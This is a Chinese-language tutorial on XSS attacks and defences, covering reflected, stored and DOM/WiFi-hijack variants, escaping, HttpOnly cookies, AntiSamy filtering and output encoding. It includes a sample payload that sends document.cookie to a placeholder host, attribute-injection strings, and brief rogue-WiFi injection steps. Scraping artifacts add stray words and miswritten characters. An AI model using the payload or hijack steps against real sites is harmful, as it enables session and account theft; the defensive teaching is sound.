前端安全 -- XSS攻擊

XSS漏洞是最普遍、做用最關鍵的web安全漏洞之一。在絕大多數網絡攻擊中都是把XSS做爲漏洞鏈中的第一環,經過XSS,黑客能夠獲得的最直接利益就是拿到用戶瀏覽器的cookie,從而變相盜取用戶的帳號密碼。javascript

一些XSS的傳播性極強,因爲web的特色是輕量級、靈活性高,每一個用戶天天均可能訪問不少web站點,每一個web站點天天都有成千上萬的來訪;另外一方面,若是將XSS攻擊配合起一些系統內核級的漏洞,徹底可能在幾個小時以內擊垮幾百萬臺智能設備。因此,掌握XSS滲透測試及防護,是很是重要的。html

關於XSS前端

         XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程序中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,因此容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML或者JS代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。java

現在的web前端開發者都應該清楚,在現代瀏覽器的同源策略保護下,瀏覽器的跨域行爲受到了限制,而且從XSS漏洞攻擊原理上講,跨站這兩個字其實沒有什麼必要。jquery

XSS(cross-site scripting跨域腳本攻擊)攻擊是最多見的Web攻擊,其重點是「跨域」和「客戶端執行」。有人將XSS攻擊分爲三種,分別是:web

1. Reflected XSS(基於反射的XSS攻擊)數據庫

2. Stored XSS(基於存儲的XSS攻擊)後端

3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)跨域

Reflected XSS瀏覽器

基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。

例子:

1. 作個假設,當亞馬遜在搜索書籍,搜不到書的時候顯示提交的名稱。

2. 在搜索框搜索內容,填入「<script>alert('handsome boy')</script>」, 點擊搜索。

3. 當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。

4. 進而能夠構造獲取用戶cookies的地址,經過QQ羣或者垃圾郵件,來讓其餘人點擊這個地址:

http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

PS:這個地址固然是沒效的,只是舉例子而已。

結論:

若是隻是一、二、3步作成功,那也只是本身折騰本身而已,若是第4步能作成功,纔是個像樣的XSS攻擊。

開發安全措施:

1. 前端在顯示服務端數據時候,不只是標籤內容須要過濾、轉義,就連屬性值也均可能須要。

2. 後端接收請求時,驗證請求是否爲攻擊請求,攻擊則屏蔽。

例如:

標籤:

<span><script>alert('handsome boy')</script></span>

轉義

<span>&lt;script&gt;alert(&#39;handsome boy&#39;)&lt;/script&gt</span>

屬性:

若是一個input的value屬性值是

琅琊榜" onclick=javascript:alert('handsome boy')

就可能出現

<input type="text" value="琅琊榜" onclick=javascript:alert('handsome boy')">

點擊input致使攻擊腳本被執行,解決方式能夠對script或者雙引號進行過濾。

Stored XSS

基於存儲的XSS攻擊,是經過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每一個訪問該帖子/文章的人就會觸發執行。

例子:

1. 發一篇文章,裏面包含了惡意腳本

今每天氣不錯啊!<script>alert('handsome boy')</script>

2. 後端沒有對文章進行過濾,直接保存文章內容到數據庫。

3. 當其餘看這篇文章的時候,包含的惡意腳本就會執行。

PS:由於大部分文章是保存整個HTML內容的,前端顯示時候也不作過濾,就很可能出現這種狀況。

結論:

後端儘量對提交數據作過濾,在場景需求而不過濾的狀況下,前端就須要作些處理了。

開發安全措施:

1. 首要是服務端要進行過濾,由於前端的校驗能夠被繞過。

2. 當服務端不校驗時候,前端要以各類方式過濾裏面可能的惡意腳本,例如script標籤,將特殊字符轉換成HTML編碼。

DOM-based or local XSS

基於DOM或本地的XSS攻擊。通常是提供一個免費的wifi,可是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在於頁面,無須通過服務器返回就是基於本地的XSS攻擊。

例子1:

1. 提供一個免費的wifi。

1. 開啓一個特殊的DNS服務,將全部域名都解析到咱們的電腦上,並把Wifi的DHCP-DNS設置爲咱們的電腦IP。

2. 以後連上wifi的用戶打開任何網站,請求都將被咱們截取到。咱們根據http頭中的host字段來轉發到真正服務器上。

3. 收到服務器返回的數據以後,咱們就能夠實現網頁腳本的注入,並返回給用戶。

4. 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的經常使用腳本庫。

PS:例子和圖片來自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html#!comments

這個其實就是wifi流量劫持,中間人能夠看到用戶的每個請求,能夠在頁面嵌入惡意代碼,使用惡意代碼獲取用戶的信息,能夠返回釣魚頁面。

例子2:

1. 仍是提供一個免費wifi

2. 在咱們電腦上進行抓包

3. 分析數據,能夠獲取用戶的微信朋友圈、郵箱、社交網站賬號數據(HTTP)等。

結論:

這攻擊其實跟網站自己沒有什麼關係,只是數據被中間人獲取了而已,而因爲HTTP是明文傳輸的,因此是很可能被竊取的。

開發安全措施:

        使用HTTPS!就跟我前面《HTTP與HTTPS握手的那些事》這篇文章說的,HTTPS會在請求數據以前進行一次握手,使得客戶端與服務端都有一個私鑰,服務端用這個私鑰加密,客戶端用這個私鑰解密,這樣即便數據被人截取了,也是加密後的數據。

小結:

XSS攻擊的特色就是:盡一切辦法在目標網站上執行非目標網站上原有的腳本(某篇文章說的)。

本地的XSS攻擊的示例2其實不算XSS攻擊,只是簡單流量劫持。前兩種XSS攻擊是咱們開發時候要注意的,而流量劫持的則可使用HTTPS提升安全性。

** XSS攻擊的解決辦法

XSS的攻擊五花八門,有沒有一招「獨孤九劍」可以抗衡,畢竟那麼多狀況場景,開發人員沒法一一照顧過來。下文中,把對應對方式作了總結,分爲兩類:一是服務端能夠乾的事,二是客戶端能夠乾的事。

前提:

在說XSS解決方式時,有一個前提。就是同源策略——瀏覽器的同源策略(瀏覽器安全的基礎,即便是攻擊腳本也要遵照這法則),限制了來自不一樣源的「document」或腳本,對當前「document」讀取或設置某些屬性。除了DOM、Cookie、XMLHttpRequest會受到同源策略的限制外,瀏覽器加載的一些第三方插件也有各自的同源策略。不過script、img、iframe、link等標籤均可以跨域加載資源,而不受同源策略的限制。

服務端能夠乾的事

1. HttpOnly其實就是如今HTTP協議(HTTPS也是能夠的)才能讀取cookies,JavaScript是讀取不到cookies的。支持瀏覽器是IE6+、Firefox2+、Google、Safari4+。JavaEE給Cookie添加HttpOnly的代碼:response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");PS:對於HTTPS,仍是能夠設置Secure字段,對Cookie進行安全加密。這是本質上不是預防XSS,而是在被攻破時候不容許JS讀取Cookie。

2.處理富文本有些數據由於使用場景問題,並不能直接在服務端進行轉義存儲。不過富文本數據語義是完整的HTML代碼,在輸出時也不會拼湊到某個標籤的屬性中,因此能夠當特殊狀況特殊處理。處理的過程是在服務端配置富文本標籤和屬性的白名單,不容許出現其餘標籤或屬性(例如script、iframe、form等),即」XSS Filter「。而後在存儲以前進行過濾(過濾原理沒有去探明)。Java有個開源項目Anti-Samy是很是好的XSS Filter:Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION);AntiSamy as = new AntiSamy();CleanResults cr = as.scan(dirtyInput, policy);MyUserDao.storeUserProfile(cr.getCleanHTML());PS:固然也能夠在前端顯示前過濾,可是我以爲,讓前端人員少作東西好,而且服務端只須要轉一次。

客戶端能夠乾的事:

1. 輸入檢查輸入檢查的邏輯,必須放在服務器端代碼中實現(由於用JavaScript作輸入檢查,很容易被攻擊者繞過)。目前Web開發的廣泛作法,是同時在客戶端JavaScript中和服務器代碼中實現相同的輸入檢查。客戶端JavaScript的輸入檢查,能夠阻擋大部分誤操做的正經常使用戶,從而節約服務資源。PS:簡單說,就是輸入檢查,服務端和客戶端都要作。另外攻擊者可能輸入XSS的地方,例如:頁面中全部的input框window.location(href、hash等)window.namedocument.referrerdocument.cookielocalstorageXMLHttpRequest返回的數據

2. 輸出檢查通常就是在變量輸出到HTML頁面時,使用編碼或轉義的方式來防護XSS攻擊。XSS的本質就是「HTML注入」,用戶的數據被當成了HTML代碼一部分來執行,從而混淆了本來的語義,產生了新的語義。觸發XSS的地方document.writexxx.innerHTML=xxx.outerHTML=innerHTML.replacedocument.attachEventwindow.attachEventdocument.location.replacedocument.location.assignPS:若是使用jquery,就是那些append、html、before、after等,其實就是拼接變量到HTML頁面時產生。大部分的MVC框架在模板(view層)會自動處理XSS問題,例如AngularJS。

用什麼編碼轉義

主要有HTMLEncode和JavaScriptEncode這兩個,客戶端和服務端都能作。可是讓後端去作,我感受是不大靠譜的,由於數據的使用場景可能有幾種,能夠在標籤、屬性、或腳本里(甚至其餘終端使用),單單以一種方式去encode是很極限的。

1.HTMLEncode,就是將字符轉換成HTMLEntities,通常會轉(&、<、>、"、'、/)這6個字符。

2.JavaScriptEncode,是使用」\「對特殊字符進行轉義。

哪些地方須要編轉義

1.在HTML標籤、屬性中輸出——用HTMLEncode

2.在script標籤中輸出——用JavaScriptEncode

3.在事件中輸出——用JavaScriptEncode<a href="#" onclick="funcA('$var')">test</a>

4.在CSS中輸出用相似JavaScriptEncode的方式。將除了字母、數字外的全部字符都編碼成十六進制形式」\uHH「。

5.在地址中輸出通常若是變量是整個URL,則先檢查變量是否以「http」開頭(不是則幫忙添加http),保證不會出現僞協議類的XSS攻擊。而後再對變量進行URLEncode。

PS:URLEncode會將字符轉換成」%HH「形式。

總結:

前端開發人員要注意在正確的地方使用正確的編碼方式,有時爲了防護XSS,在一個地方咱們須要聯合HTMLEncode、JavaScriptEncode進行編碼,甚至是疊加,並非固定一種方式編碼(又是具體狀況具體分析)。

通常存儲型XSS風險高於反射型XSS。反射型XSS通常要求攻擊者誘使用戶點擊一個包含XSS代碼的URL連接;而存儲型只須要用戶查看一個正常的URL連接,當用戶打開頁面時,XSS Payload就會被執行。這樣漏洞極其隱蔽,且埋伏在用戶的正常業務中,風險很高。

參考:http://sanwen.net/a/jiimdoo.html

相關文章
相關標籤/搜索